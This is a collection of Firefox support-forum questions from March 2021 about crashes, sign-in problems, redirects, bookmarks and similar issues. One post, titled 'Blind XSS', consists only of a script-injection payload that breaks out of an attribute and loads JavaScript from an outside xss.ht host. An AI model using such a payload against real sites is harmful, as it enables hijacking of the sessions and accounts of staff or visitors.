title: view image info gone from right-click menu in Developer v87.0b3 (64-bit)
tags: desktop;beta;other;windows-10;firefox-870;
product: firefox
topic: other
locale: en-US
answers: 1397548;1397561;1397563;1397729;
creator: spinweb
content:
<p>When I right click on an image in Firefox, I've always been able to select "view image info".  This is very helpful, but now it appears to be gone in latest Developer edition.  Do others see the same.  If so, why was it removed? It's still there in the regular version of Firefox. </p>


created: 2021-03-09T10:27:20-08:00
updated: 2021-03-09T16:19:16-08:00
title: Old Laptop
tags: desktop;download-and-install_1;windows-10;firefox-860;
product: firefox
topic: download-and-install
locale: en-US
answers: 1397588;
creator: tfisher11
content:
<p>My old Dell E7530 laptop crashed. I have a backup in Acronis of all my system. Where can I find / import my old settings from Mozilla? Looking for websites and passwords. </p>


created: 2021-03-09T10:14:33-08:00
updated: 2021-03-09T10:14:33-08:00
title: How to automatically download using Firefox add-on ?
tags: desktop;download-and-install_1;windows-10;firefox-860;
product: firefox
topic: download-and-install
locale: en-US
creator: martigan1
content:
<p>Dear beautiful Firefox community, </p><p>I am using the add-ons DownThemAll! and Turbo Download Manager for Firefox. They work a charm if I right-click a link to a downloadable file and select them from the context menu (shell extension). Especially when I am in places with poor connectivity or slow wifi I depend on these add-ons to remain able to work. Please refer to the attached screenshot illustrating the process. </p><p>However, there are many websites where downloads are started automatically or where the link to the downloadable file is somewhere hidden behind a javascript, so when right-clicking on the download link to a file and selecting "save link", I am ending up downloading a html-file instead of the actual file. </p><p>Is there a way for me to have all downloads automatically run through either of these add-ons whenever I click on a download link? </p><p>Thank you for your help! Take care guys </p>


created: 2021-03-09T09:58:47-08:00
updated: 2021-03-09T16:11:55-08:00
title: Mozilla Firefox malfunction?
tags: windows-7;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397576;1397585;
creator: surdo61
content:
<p>I use <a href="http://Comicspriceguide.com" rel="nofollow">Comicspriceguide.com</a>  and lately images do not load . i tried outdated IE and it did load there . </p>


created: 2021-03-09T09:56:51-08:00
updated: 2021-03-09T16:38:24-08:00
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397532;
creator: evelyn.brown10320
title:
I'm new to Firefox and don't know how to gain access to emails I received while using Google Chrome.  How do I access these emails?

content:
<p>I have no w made Firefox my default browser (whatever that is) and need to be able to get to emails I received while using Google Chrome.  How do I gain access to my emails on Google Chrome? </p>


created: 2021-03-09T09:53:55-08:00
updated: 2021-03-09T09:53:55-08:00
title: Delete cookies of non containered tabs (Firefox Multi-Account Containers)
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
creator: jascha.schopfer
content:
<p>Is there a way to delete the cookies/private data of all uncontainered tabs? Whenever I open something new it opens in a non container-tab so the cookies/saved private data of me gets bigger and bigger with time. If I delete the cookies in the firefox settings it also deletes the ones of the container-tabs that results in getting logged out of every social media in the container-tabs that I use for social media. </p><p>Because of this I delete my cookies very rarely.  </p><p>Is there such an option? </p>


created: 2021-03-09T09:51:14-08:00
updated: 2021-03-09T15:10:52-08:00
title: Firefox won't open any web page
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397533;1397570;
creator: lenni.korhonen2
content:
<p>Hi! </p><p>Firefox won't open any webpage on my PC. Firefox starts but the addres bar won't open anything, no google none of the about: pages or anything else. I run Manjaro Linux 20.2.1 with linux kernel 5.10.19 and my Firefox is at version 86.0.  </p><p>I have tried multiple different solutions for example changes my profile, creating a new profile downgrading firefox and doing a full clean install of firefox. The same problem persist also on LibreWolf(fork of firefox). </p><p>Do you have any idea what could be the problem? </p>


created: 2021-03-09T09:14:54-08:00
updated: 2021-03-09T09:33:16-08:00
title: Sainsbury's on line.
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397468;
creator: warwickgeoff
content:
<p>For the last 10 days I've been unable to access my on line Sainsburys account with Firefox. It errors with "something went wrong. Tryagain later." I suspect it's down to Sainsbury's as it worked previously and works if I use the same credentials using Chrome. Please don't tell me they are in league with Google and are trying to force me to change my browser. I'll go to Tesco,  who don't have such issues. </p>


created: 2021-03-09T09:01:03-08:00
updated: 2021-03-09T09:01:03-08:00
title: firefox inactif sur une page
tags: mac-os;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: psfay
content:
<p>bonjour, curieusement, depuis installation sur mac M1/big sur, firefox s'arrête, page en cours inaccessible alors que les fonctions firefox sont actives, pas de plantage, une absence, rétive à toutes les solutions proposées sur le support. un redémarrage règle le problème, avec "restaurer la session précédente" cordialement. </p>


created: 2021-03-09T08:48:44-08:00
updated: 2021-03-09T08:48:44-08:00
title: Firebox se cierra inesperadamente
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: julioconchy
content:
<p>Firebox se cierra inesperadamente </p><p>Informes de fallos enviados ID del informe 	Fecha del envío bp-048f7193-0065-49c0-8614-d2d170210309 	09/03/2021 17:38 	 Ver bp-49de5aff-d998-4de8-9c5d-ab1730210309 	09/03/2021 17:38 	 Ver bp-76c47323-1326-4a88-b1f0-111a10210204 	04/02/2021 19:40 	 Ver bp-f55b7514-9987-490d-941b-c92970201224 	24/12/2020 19:39 	 Ver bp-29f8469f-cc7a-4f7d-b9fe-04a6a0201109 	09/11/2020 18:44 	 Ver bp-669c04f4-0464-466e-befe-6db8a0201019 	19/10/2020 20:45 	 Ver bp-09edab9d-1682-42a9-a592-7d5d50201001 	01/10/2020 18:27 	 Ver bp-f1d2aee4-84bb-40ac-af83-b946f0200924 	24/09/2020 18:45 	 Ver bp-136fb431-a76c-4fcc-b692-087480200722 	22/07/2020 12:10 	 Ver bp-e93c912c-285e-46b8-8bd4-2e28c0200716 	16/07/2020 20:33 	 Ver bp-9a305bcf-7ee6-4d69-90fe-72a870200626 	26/06/2020 19:58 	 Ver bp-fe0d2f0a-da26-4257-80f0-67d870200617 	17/06/2020 14:17 	 Ver </p>


created: 2021-03-09T08:31:44-08:00
updated: 2021-03-10T11:06:31-08:00
title: AliExpress display problems
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1397592;1397741;
creator: Deltatango
content:
<p>I can log in to AliExpress and see and deal with my previous orders, plus able to search for items and see multiple pages of goods on offer from sellers but if I select one, will only get a static page with which details-options-prices would be filled in but are not. </p><p>Edge will show all this so I am confused over what is wrong (possibly java) can you help. </p><p>What has edge got that Firefox has not? </p><p>Thanks from Dav id </p>


created: 2021-03-09T08:13:00-08:00
updated: 2021-03-09T08:42:38-08:00
title: zoom on webpage
tags: ios;how-to-use-firefox-ios;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397456;1397457;
creator: lu69688
content:
<p>why its not possible to shift the function zoom into menu; whith command + the zoom goes from 100 to 170 ! </p>


created: 2021-03-09T08:10:57-08:00
updated: 2021-03-09T08:10:57-08:00
title: VMWare MOZILLA_PKIX_ERROR_SELF_SIGNED_CERT Error
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: awgordon1234
content:
<p>I am trying to access <a href="http://pastebin.com" rel="nofollow">pastebin.com</a> and when I go on to it, I get the generic "Warning: Potential Security Risk Ahead" screen which is strange since this hasn't happened before for a site like pastebin, what I find strange is when I go to view the certificate it's related to VMWare which baffles me since I do have VMWare Workstation on my PC, but why would it affect Firefox? </p><p>And when I click "Accept the Risk and Continue" all I get is a blank page (as seen in the screenshots). I have tried some fixes provided by this <a href="/en-US/kb/error-codes-secure-websites" rel="nofollow">How to troubleshoot security error codes on secure websites</a> but still unable to come up with a solution. </p>


created: 2021-03-09T07:32:07-08:00
updated: 2021-03-09T07:32:07-08:00
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: thetrueninelives
title:
Firefox (on normal mode) randomly freezes and shuts down after win update. Tried so many solutions already!

content:
<p>Good day. </p><p>Yesterday I had to install the latest windows 10 updates and while this went fine on my laptop, on my desktop it messed up firefox (somehow). Within 10 minutes the darn thing freezes up and crashes, something that does not happen in safe mode. I suspected that it was my nvidia 3080 card as I read it is having some problems, but reinstalling drivers/everything did nothing. </p><p>What solutions I have tried: Proper reinstall of firefox. I wiped all the files of my pc, registry, everything. Scoured as much as I could find. Installed, got my passwords off my laptop, seemed promising and ...nop, problem still here. </p><p>Disabled hardware acceleration. Didn't help at all. Disabled all add-ons when starting firefox normally. Still same problem. Wiped the cache again, kept addons and acceleration disabled, disabled firefox updater (and some system check-thing as some recommended) and still the problem is there.  </p><p>I outright started to fully wipe and reinstall stuff like my nvidia drivers with specialized software, but that also didn't help.  What on earth could it be? Is windows somehow messed up? But then why does it work in safe mode and all other browsers work fine? It's just firefox :( </p>


created: 2021-03-09T07:24:58-08:00
updated: 2021-03-10T02:28:47-08:00
title: startpage
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1397537;1397558;1397625;
creator: s.a.dzwonek
content:
<p>my wish is to add at starthome  from  my background files my own background  as this blanco page is boring and not nice for the eyes..how  i can add it? </p>


created: 2021-03-09T07:12:28-08:00
updated: 2021-03-10T05:44:19-08:00
title: cannot drag and drop mails from Outlook to Sharepoint Online
tags: desktop;other;
product: firefox
topic: other
locale: en-US
answers: 1397458;1397504;1397540;1397648;
creator: jmi1
content:
<p>Hi Firefox Support, </p><p>I cannot drag and drop mails from my Outlook desktop app to Sharepoint Online in Firefox. It does work in Google Chrome and Microsoft Edge though. Is there a setting in Firefox to enable this ? </p><p>Thanks Best regards </p><p><br> Joeri Michiels </p>


created: 2021-03-09T07:12:28-08:00
updated: 2021-03-09T16:33:38-08:00
title: Opening links from emails isn't working
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397590;1397591;
creator: JPK50
content:
<p>Hello, I'm on a lot of lists for activism websites.  Since yesterday, when I try to open a link to a petition or article from an email, or direct from the website, it doesn't work. It will display the heading of the organization but nothing else.  There's no error message, just nothing.  I tried refreshing Firefox but that didn't do anything.  I haven't noticed any problem with any other websites; just the activism sites.  One example, Center for Biological Diversity.  I had to use Chrome (ugh!) to see the information.  Any ideas would be very welcome.  Thank you! </p>


created: 2021-03-09T07:02:37-08:00
updated: 2021-03-09T13:35:54-08:00
title: Store my bookmarks not on disk C
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
answers: 1397477;1397525;
creator: ingmar4
content:
<p>Hello, I have been looking for help in the community, but not succeeded. Due to crashes, specially in W10, I would like to store my bookmarks in an other partition than C:\, Example in D:\Firefox. Then I can - if something goes wrong - import from D to C. </p><p>I tried synchronisation ans changed a computer name outside my computer to D:\Firefox. But it did not work. </p><p>I appreciate if you have some time to help me. Thank you in advance. Ingmar Odenfors in Sweden,  [email]@bahnhof.se </p><p>P.S. This problem is for me also valid for my address list in Thunderbird.  D.S. </p>


created: 2021-03-09T06:24:13-08:00
updated: 2021-03-09T06:24:13-08:00
title: only 1 character is being displayed when Clearing text field then entering new string value
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: dali.kallel
content:
<p>When clearing text field then entering new value,only 1 character is being entered &amp;  displayed while string lengh is 10. I replicated the same steps in chrome , IE and Opera and it works fine in all of them. </p><p>P.S: this issue is replicated manually and also when using automatic test scripts in Firefox 86.0 (GUI mode &amp; Headless mode) </p>


created: 2021-03-09T06:18:38-08:00
updated: 2021-03-09T06:18:38-08:00
title: Forward an email
tags: desktop;other;
product: firefox
topic: other
locale: en-US
creator: Wece
content:
<p>When I want to forward an email it sends a crazy column every time, and I don't know where that comes from and how it can be removed for good?  See appendix </p>


created: 2021-03-09T06:00:13-08:00
updated: 2021-03-10T10:05:45-08:00
title: Web pages slow to load
tags: windows-7;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397541;1397542;1397546;1397615;1397686;1397698;
creator: bgula
content:
<p>I asked this question several months ago.  The issue started with FF 79 and we are now on FF 86.  I have a bit more information now, but not much.  If I start FF, every web page that I go to pauses for ~8 seconds, and then begins to load.  After about 2-3 days of this happening, FF starts working properly and loads web pages instantly instead of just sitting there doing nothing for the 8 seconds.  FF will then work properly until I have to quit the program.  When I restart, the same process happens again.  This is frustrating as I have no idea why this would be happening.  From my previous time asking this question, I was asked to disable my addons (didn't help), start FF in safe mode (did help), but nothing concrete came out of the discussion.  I'm hoping someone else has had this problem in the meantime and has figured out what could be causing this problem. </p>


created: 2021-03-09T05:20:24-08:00
updated: 2021-03-09T05:20:24-08:00
title: Recently Closed Windows Restore All
tags: windows-7;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: kayzzar
content:
<p>When I open recently closed windows one at a time (History -&gt; Recently Closed Windows -&gt; "window") there is no issue, but when I open multiple recently closed windows by selecting Restore All Windows (History -&gt; Recently Closed Windows -&gt; Restore All Windows) all the browser windows open but they are all blank and all my previous sessions are lost. This never happened until a few months ago and now it happens every time. What is the point of having the Restore All Windows option if it just deletes all previous sessions? Is this a bug? Can I fix it? I really relied on this option for many years. I have done 3 clean re-installs of Firefox since this first occurred and the problem persists. Please help. I would really appreciate some assistance with this. Thank you. </p><p>Robert </p>


created: 2021-03-09T04:27:24-08:00
updated: 2021-03-09T09:39:28-08:00
title: A web page is slowing down !!
tags: windows-7;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397440;1397474;1397475;
creator: alrobaey51
content:
<p>A web page is slowing down your browser. What would you like to do ?  I wait ..... !!  and the page still hanging  Till when  I wait  ??  It happens every two minutes and browser is updated Moreover, I always or everyday I remove the history and all cookies  And every week I refresh the browser  What is more to do then ?  To prevent updating the flash  or to disable Adobe Flash Protected Mode  This feature I see it is not supported by using 32 bit system </p><p>This is not a problem occurs with me only !!  I see it is a permanent problem only with Firefox  <strong> </strong> Why it doesn't happen in Google Chrome   ? <strong></strong> </p>


created: 2021-03-09T04:26:57-08:00
updated: 2021-03-09T04:26:57-08:00
title: Dropdownbox/Select box does not allow selection
tags: desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
creator: sdave
content:
<p>Hi all, When trying to select item on drop-down box/select box, items menu does not selection, only way to select a particular item is via holding down mouse left click and then selecting item. </p><p>As suggested in few other Firefox blogs, I even tried refreshing the Firefox profile but no joy. (even if this is a recommended solution one can not keep refreshing sync profile every time I needs to fill in form)    </p><p>for e.g. Try visiting this site with only form control is drop-down box/select box (Troubleshooting info attached, No Add-ons installed and Using Fresh profile on Big Sur MacOS) Site: <a href="https://www.w3schools.com/tags/tryit.asp?filename=tryhtml_select" rel="nofollow">https://www.w3schools.com/tags/tryit.asp?filename=tryhtml_select</a>  I tried visiting same site on latest Chrome, Safari and No issues there </p><pre>Any suggestions please </pre>


created: 2021-03-09T04:25:53-08:00
updated: 2021-03-09T04:25:53-08:00
title: Code:blocks forum does not work with Firefox (Win7)
tags: windows-7;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: 1007140
content:
<p><a href="http://forum.codeblocks.org" rel="nofollow">forum.codeblocks.org</a> does not work with Firefox (at least on Win7 x64). Strangely, it seems to work with Firefox for Android on my phone. Whatever you do, you always get forwarded to the codeblocks home page. I kindly ask for a solution or a fix. Thanks </p>


created: 2021-03-09T04:20:42-08:00
updated: 2021-03-09T04:20:42-08:00
title: Having Trouble with some websites
tags: mac-os;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
creator: kcoppola66
content:
<p>I have trouble navigating on certain websites, like Saks Off 5th and GigSpot.  The issue has to be FireFox because when I go into them from Safari I don't have issues.  I have searched and searched and cannot figure out how to fix the issue.  I like FireFox but I am ready to go to a different search engine permanently. </p>


created: 2021-03-09T04:03:25-08:00
updated: 2021-03-09T04:03:25-08:00
title: Blind XSS
tags: windows-7;desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
creator: tt9571814
content:
<p>"&gt;&lt;script src=<a href="https://999stunner.xss.ht" rel="nofollow">https://999stunner.xss.ht</a>&gt;&lt;/script&gt; </p>


created: 2021-03-09T03:19:52-08:00
updated: 2021-03-09T03:29:31-08:00
title: Why can I no longer sign in to my online Sainsbury's grocery site using Firefox.
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1397414;
creator: e.kirkbride
content:
<p>Why can I no longer sign in to my online Sainsbury's grocery site using Firefox. They seem to require the browser to show email and password on the same page. I have had to download Google Chrome to login. </p>


created: 2021-03-09T03:15:10-08:00
updated: 2021-03-09T03:15:10-08:00
title: Firefox profile choice prompt on every link open from external app
tags: linux;desktop;other;firefox-780;
product: firefox
topic: other
locale: en-US
creator: postcd
content:
<p>Hello, i am having two Firefox instances opened, each with different profile. My start menu entry command: /usr/lib/firefox/firefox %u -p -no-remote </p><p>ISSUE: When i open a link from app other than Firefox, it ask me in which profile to open it. No matter how i tick the "Use the selected profile without asking at startup", it always do that. I want to always open in my main profile. How to do it please? </p>


created: 2021-03-09T02:32:36-08:00
updated: 2021-03-09T06:26:33-08:00
title: How to stop translations
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1397412;1397437;
creator: sorin86
content:
<p>For some days Firefox has started to translate automatically all non-English content to English. On resting the mouse on a paragraph some annoying "label" pops up without me asking for that. How do I stop this pest?? </p>


created: 2021-03-09T02:25:59-08:00
updated: 2021-03-09T02:25:59-08:00
title: How I can Integrate Mozilla extension with my website?
tags: desktop;download-and-install_1;
product: firefox
topic: download-and-install
locale: en-US
creator: itsgamblingtime
content:
<p><strong>Lottery Manager</strong> is my Website, here you can check the latest lottery draws results. You can also check the latest Lottery Hot and Cold Balls Predictions.now I want to Integrate Mozilla Extention with my website to track my site Performance.`Guide me how i can do this. You can visit  my site here: <a href="https://49s.club/" rel="nofollow">https://49s.club/</a> </p>


created: 2021-03-09T01:45:11-08:00
updated: 2021-03-09T02:24:58-08:00
title: Web site not working properly on Firefox browser.
tags: desktop;websites;
product: firefox
topic: websites
locale: en-US
answers: 1397408;
creator: jenniferhere033
content:
<p>Hi, I'm the OWNER of [[TheAquaPicks|<a href="https://theaquapicks.com/" rel="nofollow">https://theaquapicks.com/</a> ]] whenever I go through some of the articles the Firefox browser crashes. This only happens with my site only in Firefox. I changed the browser to check for the problem but it's not happing in any other browser. Can anyone please tell me the solution? Thanks! </p>


created: 2021-03-09T01:44:30-08:00
updated: 2021-03-09T01:44:30-08:00
title: Loading hiccups, acting like it's "offline"
tags: desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: rcirc
content:
<p>I've recently been having issues of loading hiccups, and issues where it'll act like it's offline. Sometimes it'll briefly fail to load some small images on a site, such as Twitter avatars, other times it'll stutter while watching a stream and freeze video until I refresh it. I've had moments where, for up to a minute, Youtube will give me a message saying I'm offline, or I won't be able to connect to a certain site, yet if I check on Chrome on the same connection it'll load up fine. </p><p>I tried a whole Firefox Refresh, but it came back after a day. I only use one plugin, and even removed it for a while to see if that was the cause, but the issues would persist. The issue comes and goes every few hours or so, and I've had no other problems with my regular internet. It's been happening for about a week and I've never had this happen before. </p><p>Thanks for any help. </p>


created: 2021-03-09T01:34:50-08:00
updated: 2021-03-09T01:34:50-08:00
title: persons on photos too thin or too wide
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
creator: eveline_guehring
content:
<p>Hi,  When I open a news website in a small Firefox window, the persons on the photos seem to be either too thin or too wide. How to remedy this?  I took a screen shot, but this Support website does not upload HTML formats, so I can't share it with you. Best regards, Eveline </p>


created: 2021-03-08T23:38:49-08:00
updated: 2021-03-09T01:13:46-08:00
title: Firefox stop working when I'm insterting a Belgium ID card in a Vasco 870 reader
tags: mac-os;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397400;
creator: carlier_f
content:
<p>Firefox stop working when I'm insterting a Belgium ID card in a Vasco 870 reader </p><p>Belgium has ship on the ID card like bank. I can use the reader in Firefox with my Bank card and it works perfectly. When I instert my ID card, Fiorefox crash. </p><p>I have tried to disable all the plugin and reinstall firefox but this does not solve the probelm </p><p>Regards François </p>


created: 2021-03-08T23:31:29-08:00
updated: 2021-03-08T23:31:29-08:00
title: Link image new tab didn't work in mozilla but working fine in chrome
tags: desktop;tabs;windows-10;firefox-860;
product: firefox
topic: tabs
locale: en-US
creator: sarah061195
content:
<p>&lt;a target="_blank" href="#" onclick="window.open('<a href="https://pse.kominfo.go.id/tdpse-detail/295','_blank');" rel="nofollow">https://pse.kominfo.go.id/tdpse-detail/295','_blank');</a>"&gt; </p><pre>   <img src="#{request.contextPath}/resources/img/landing-page/terdaftar-kominfo.png">&lt;/a&gt; </pre> <p><a href="https://support.mozilla.org/en-US/questions/1328625" rel="nofollow">https://support.mozilla.org/en-US/questions/1328625</a> </p>


created: 2021-03-08T23:21:12-08:00
updated: 2021-03-08T23:21:12-08:00
title: Disable redirect to https
tags: linux;desktop;websites;firefox-850;
product: firefox
topic: websites
locale: en-US
creator: hus4nl5r
content:
<p>I know this has come up many times before, I've read the solutions like this: <a href="https://support.mozilla.org/en-US/questions/1019210" rel="nofollow">https://support.mozilla.org/en-US/questions/1019210</a> </p><p>But its old. There is also HSTS which Im not sure how that works and frankly, as a user I don't care. </p><p>We use internal websites on a company intranet domain. For example, a simple webpage to show the status of an application. I had to enable apache and made its config, so I know for a fact the site itself is not redirecting to https (other browsers aren't redirecting). Firefox insists on changing my address bar to https. When I use tcpdump or check the firewall, I dont even see port 80 traffic, firefox doesnt even try. </p><p>I tried the above, I also: - disabled addons (which I know dont redirect but to be sure) - erased the relevant history - deleted HSTS config file from my Mozilla profile - tried opening in a private window </p><p>The site above is an example, it happens with other sites too. Sometimes, it works for a while and then it stops. Sometimes, I find another site entry in the HSTS file, remove it and try again. Sometimes it works, sometimes it doesn't. I'm at a loss what to try next. </p><p>When I completely erase and start a new profile, without sync or addons, it might work but only for a short while. This isn't an option because literally, the only reason I still use firefox is because sync works reasonably well, across all devices, including most settings and addons. </p><p>I hope someone can help me fix this, I'd appreciate it! </p>


created: 2021-03-08T23:19:01-08:00
updated: 2021-03-09T16:34:04-08:00
title: New Tab on mozilla didn't work but working fine in chrome
tags: desktop;tabs;windows-10;firefox-860;
product: firefox
topic: tabs
locale: en-US
answers: 1397394;
creator: sarah061195
content:
<p>i build a code for image link open in new tab but didn't work on mozilla </p><p>&lt;a target="_blank" href="#" onclick="window.open('<a href="https://pse.kominfo.go.id/tdpse-detail/295','_blank');" rel="nofollow">https://pse.kominfo.go.id/tdpse-detail/295','_blank');</a>" style="position: absolute;pointer-events: visible;cursor: pointer;"&gt; </p><pre>                       <img alt="kominfo" src="#{request.contextPath}/resources/img/landing-page/terdaftar-kominfo.png" style="">                    &lt;/a&gt; </pre>


created: 2021-03-08T22:36:18-08:00
updated: 2021-03-08T22:36:18-08:00
title: enlarge specific font, leave other elements normal size
tags: linux;desktop;other;firefox-780;
product: firefox
topic: other
locale: en-US
creator: PAGulley
content:
<p>I'd like to know how I can enlarge a specific font by some factor, but leave other elements the same as normal size, on a chat site. A particular font is pretty hard to read, and I'd like to leave the typeface similar, but simply bigger, and not mess with the whole page. </p>


created: 2021-03-08T21:51:03-08:00
updated: 2021-03-08T21:51:03-08:00
title: Autologin does not autologin
tags: desktop;other;
product: firefox
topic: other
locale: en-US
creator: race.dowling
content:
<p>I'm trying to autologin to websites but it doesn't autologin it only fills.  I have a machine in kiosk mode that times out and I want to log back in immediately. Firefox displays the username and password, but does not make the final step of clicking the login button. </p><p>I don't care about security in this case, I just want it to work. </p><p>I've tried everything I found online and either could not get it to work or it did not work. </p>


created: 2021-03-08T21:07:02-08:00
updated: 2021-03-09T03:51:55-08:00
title: Bookmarks
tags: desktop;bookmarks;windows-81;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
answers: 1397419;
creator: w.h.moore
content:
<p>I ran the refresh Firefox in the uninstall wizard. I understood that my bookmarks would not be effected but they are all gone, is there any possibility of retrieving them? </p>


created: 2021-03-08T20:37:32-08:00
updated: 2021-03-08T20:37:32-08:00
title: Secondary email
tags: desktop;sync;windows-10;firefox-860;
product: firefox
topic: sync
locale: en-US
creator: justin.herrman
content:
<p>Can someone delete my old firefox account.  I believe the email I was to use is stuck as a secondary or backup email on an account that I no longer have access to and the primary on that was deleted years ago so I cant even do a password reset to get into that account to remove the secondary.  I just want to create a new account with the email address I want to use. </p>


created: 2021-03-08T20:26:12-08:00
updated: 2021-03-09T03:55:03-08:00
title: Firefox Close opening Facebook & YouTube
tags: desktop;websites;windows-10;
product: firefox
topic: websites
locale: en-US
answers: 1397385;1397421;
creator: fusrrg
content:
<p>If Actually i open <a href="http://www.facebook.com" rel="nofollow">www.facebook.com</a> or <a href="http://www.youtube.com" rel="nofollow">www.youtube.com</a> my Firefox simply closes and if i type in google something like facebook &amp; youtube the same answer = firefox simply closes.  I view crash report and theres nothing....  By the way i recently installed IM Look Cleanup, and Freedom, this programs blocks websites and apps, i dont know if those programs crash my browser, but i completed uninstalled (and remove entry on windows registry too)  My Firefox developer, microsoft edge and google chrome works perfectly... </p><p>Anyone can help me with this? </p><p>Thanks! </p>


created: 2021-03-08T19:48:12-08:00
updated: 2021-03-09T16:16:17-08:00
title: Lost firefox data
tags: desktop;sync;windows-10;firefox-860;
product: firefox
topic: sync
locale: en-US
answers: 1397386;1397581;1397584;1397586;
creator: blurryface
content:
<p>Can anyone help me, so recently i reset my PC and all my Firefox data was gone and i really need it because I don't remember a lot of my passwords and I was wandering why my data didn't sync and it turns out somehow my Firefox account was refreshed is there anyway i can revert that because I don't have access to my old Firefox data to get my logins back so if there are any Firefox administration or anything that can help me revert the account back to the old one and get all of my logins back or if there is anyone that has had tis issue in the past and manged to fix it please help. </p>


created: 2021-03-08T19:14:28-08:00
updated: 2021-03-08T21:51:22-08:00
title: I can't open any page or even preferences -- blank page shows up (Ubuntu)
tags: desktop;fix-problems;ubuntu-1804;firefox-850;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397390;1397391;
creator: lukasz.kidzinski
content:
<p>Since today I see a blank page when I open firefox. Everything was working ok before. I tried to purge firefox with all data and install again but the problem persists. I also tried to use firefox 85 and 86 from the website rather than from the apt-get package but this also didn't help. The same happens in safe-mode. I can't even access preferences, passwords, and other built-in pages. Please see the screenshot attached. I'm on Ubuntu 18.04. </p><p>When I close firefox it runs in the background and I have to kill the process manually. </p><p>Not having access to passwords is by far the most frustrating part in it. </p>


created: 2021-03-08T18:49:13-08:00
updated: 2021-03-08T18:49:13-08:00
title: Is it possible to make the page stay in place when using "Find in this page" (Ctrl+F)?
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: ryunosuketagami
content:
<p>The "Find in this page" function automatically jumps to the location of the searched word. How do I make it stop doing that? </p>


created: 2021-03-08T18:14:47-08:00
updated: 2021-03-08T18:35:05-08:00
title: Amazon Video Player unavailable on Firefox for Mac
tags: mac-os;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397376;
creator: eumbanhowar
content:
<p>Hello -  </p><p>I haven't watched any Amazon Prime (paying member) for a few weeks and just tried to watch a show last night and kept getting error message "Video Unavailable". I tried several other shows, as well as turning off AdBlock and ensuring I wasn't running a VPN/proxy to no avail. </p><p>And today I am discovering I cannot play Spotify either.  </p><p>Any thoughts? Part of recent updates? I am attaching a screenshot if helpful.  </p><p>Much appreciated! </p><p>Elizabeth </p>


created: 2021-03-08T17:43:04-08:00
updated: 2021-03-08T17:53:56-08:00
title: link firefox account with google authenticator
tags: desktop;sync;windows-10;firefox-860;
product: firefox
topic: sync
locale: en-US
answers: 1397365;
creator: a7med.sniper1991
content:
<p>hello there  i was linked my email with google authenticate app  and i lost my iPhone so i lost my apps on it now i need to log in with fire fox account it require two way verification  what can i do now ? </p>


created: 2021-03-08T17:30:33-08:00
updated: 2021-03-08T18:18:09-08:00
title: can not log into an account
tags: mac-os;desktop;privacy-and-security_1;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1397374;
creator: DUGWAH
content:
<p>I can no longer sign into my (New York State unemployment) account in my browser. I used to be able to before syncing and I can log in on my IOS phone.  How do I fix this? </p>


created: 2021-03-08T16:50:32-08:00
updated: 2021-03-08T17:59:22-08:00
title: Firefox cannot allow permanent access to your screen
tags: linux;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1397367;
creator: victorarthuralvesdasilva
content:
<p>When i want share screen on google meet the Firefox return this massage error, 'cannot allow permanent access to your screen' and also when a disable the 'remember this decision' and i click on 'allow', also don't work. </p><p>What can i do to solution this issue? </p>


created: 2021-03-08T16:16:55-08:00
updated: 2021-03-08T17:49:41-08:00
title: SCRPRIME>COM
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1397349;1397364;
creator: ckoback
content:
<p>i get a pop up regarding URL <a href="http://scrprime.com" rel="nofollow">scrprime.com</a> threat has been protected by my virus detection. how can i remove it? I get this every time i open firefox browser </p>


created: 2021-03-10T15:16:52-08:00
updated: 2021-03-10T16:21:35-08:00
title: problem with the connexion of a website. problem of cookies and redirections
tags: desktop;cookies;windows-10;firefox-860;
product: firefox
topic: cookies
locale: en-US
answers: 1397916;1397926;
creator: marinpaquereau
content:
<p>I can't connect to a lab website because there is apparently to much redirections... It seems to be a problem of cookies... I try after changing a lot of things in my settings but nothing work. What can I do ? the message is "la page n'est pas redirigée correctement" </p>


created: 2021-03-10T14:43:03-08:00
updated: 2021-03-10T16:17:18-08:00
